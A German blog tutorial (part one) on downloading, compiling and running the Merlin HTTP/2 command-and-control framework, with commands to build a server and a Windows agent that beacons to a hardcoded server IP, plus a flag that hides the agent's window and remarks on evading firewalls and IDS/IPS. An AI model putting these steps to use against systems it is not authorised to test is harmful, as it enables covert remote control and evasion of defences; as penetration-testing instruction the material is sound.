Merlin – Post Exploitation über HTTP/2 (Teil1)

Was bedeutet Post Exploitation über HTTP/2 eigentlich? Der HTTP/2-Standard wurde im Mai 2015 verabschiedet. Das Hauptziel war die Vermeidung von Zeitverlusten durch Latenz. HTTP/2 ist vollständig abwärtskompatibel, was die schnelle Verbreitung unterstützt. Die wichtigsten Verbesserungen gegenüber der Vorgängerversion sind:

  • Mit HTTP/2 wird die Kommunikation zwischen Browser und Server über eine einzige Verbindung abgewickelt. Dadurch werden unnötige Datenverbindungen vermieden und höhere Geschwindigkeiten erzeugt.
  • Durch Kompression der Kopfzeilen lassen sich die Header drastisch in der Größe reduzieren. Damit müssen weniger Daten ausgetauscht werden.
  • Eine schnellere Kommunikation zwischen Browser und Server wird erreicht, indem der Server dem Browser bereits Daten schickt, bevor er dieses angefordert hat. Darüber hinaus kann der Browser dem Server mitteilen, welche Daten für ihn wichtiger sind und diese zuerst anfordern.

Die Entwickler des Post Exploitation Frameworks „Merlin“ setzen darauf, dass durch die verwendete TLS-Verschlüsselung die Kommunikation zwischen Server und Agenten im Verborgenen bleibt und auch die derzeit verfügbarer Firewall- und IDS/IPS-Lösungen das neue Protokoll noch nicht verstehen bzw. auswerten können.  Die Kombination aus Verschlüsselung und fehlender Protokollunterstützung soll es ermöglichen, die Inspektionen zu umgehen und „unter dem Radar zu fliegen“.

Die auch als „Command & Control Tool“  bezeichnete Software ist noch in der Entwicklungsphase und liegt derzeit in der Beta-Version 0.6.0 vor. Ähnlich wie das Empire Framework setzt Merlin auf die konsequente Umsetzung der Agent-Server-Strategie. Dabei nutzen die Entwickler Googles Programmiersprache Go. Verschiedene Agenten und Server liegen bereits vor bzw. können selbst kompiliert werden. Wer möchte, der kann die fertiggestellten Post-Exploitation-Module für Windows und Linux sofort einsetzen.

In diesen Beitrag beschreibe ich, wie Sie Merlin herunterladen, installieren und kompilieren. Nachdem wir eine erste Verbindung zwischen Client und Server hergestellt haben, werden ich zeigen, wie Sie die bereits bestehenden Module einsetzen können.

Schritt 1: Abhängigkeiten installieren

sudo apt install golang gcc-mingw-w64-x86-64 

Schritt 2: Merlin herunterladen und installieren

cd /home/user/merlin/src/github.com/Ne0nd0g/
git clone https://github.com/Ne0nd0g/merlin.git
cd /home/user
echo "export GOPATH=$HOME/merlin" >> .bashrc
source .bashrc


Damit keine Fehlermeldungen beim späteren kompilieren der Software auftreten, empfehle ich Merlin in das oben genannte Unterverzeichnis zu installieren. Dabei ist „user“ durch den regulären Nutzernamen zu ersetzen. Falls Sie andere Verzeichnisse nutzen, sollten Sie die GOPATH-Variable richtig setzen.

Schritt 3: Software kompilieren

Zur einfachen Nutzung haben die Entwickler bereits ein Makefile erstellt, das Sie zum Kompilieren der Software verwenden können. Gehen Sie dafür folgendermaßen vor:

cd /home/user/merlin/src/github.com/Ne0nd0g/merlin
make

Nach und nach werden Client und Server kompiliert:

Wenn alles ohne Fehler abgelaufen ist, stehen die ausführbaren Dateien in einem zufällig generierten Verzeichnis unter data/temp/v0.6.0/ bereit. In unserem Beispiel sieht das wie folgt aus:

Schritt 4: Zertifikat erstellen und Server starten

Erstellen Sie nun mit folgendem Befehl das X509 Zertifikat und legen die Dateien im Verzeichnis x509/ ab:

cd /home/user/merlin/src/github.com/Ne0nd0g/merlin/data/x509
openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=Pentestit.de" -days 365

Nun lässt sich der Server in der Linux-Konsole starten. Ich benötigte root-Rechten zum Ausführen des folgenden Befehls:

sudo su
./merlinServer-Linux-x64 -i <IP-Adresse des Servers> -p <Port>

Schritt 5: Agent kompilieren und einsetzen

Sie können den Windows-Agent natürlich nach dem kompilieren im Schritt 3 sofort einsetzen. Übertragen Sie dazu die Datei merlin-Agent-Windows-x64.exe auf Ihr Windows-Zielsystem und starten den Agenten mit folgendem Befehl:

merlin-Agent-Windows-x64.exe -url https://<IP-Adresse des Merlin Servers>:443

Wer die URL zukünftig nicht mehr eingeben möchte, der sollte die IP-Adresse und den Port beim kompilieren angeben. Mit folgendem Befehl wird ein Windows-Agent erzeugt, der sich z.B. nach dem Start auf dem Zielsystem mit mit einem Merlin-Server auf der IP-Adresse 192.168.171.220 und Port 443 verbindet:

cd /home/frank/merlin/src/github.com/Ne0nd0g/merlin/
GOOS=windows GOARCH=amd64  go build -ldflags "-X main.url=https://192.168.171.220:443/" -o merlinAgent.exe cmd/merlinagent/main.go

Wer erreichen möchte, dass sich beim Start des Agenten kein Windows-Fenster öffnet, der muss einen weiteren ldflag einfügen. Das sieht dann folgendermaßen aus.

cd /home/frank/merlin/src/github.com/Ne0nd0g/merlin/
GOOS=windows GOARCH=amd64  go build -ldflags "-X main.url=https://192.168.171.220:443/  \"-H=windowsgui"" -o merlinAgent.exe cmd/merlinagent/main.go

Weitere Informationen zum Kompilieren von Agenten finden Sie hier.

Wir haben in diesem ersten Teil die Grundlagen für die Post Exploitation mit Merlin gelegt. Sie sollten nun in der Lage sein, Merlin-Server und -Agenten zu erzeugen.
Im zweiten Teil werden ich zeigen, wie Sie weitere Agenten einsetzen und die Post Exploitation Module in Merlin verwenden.

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.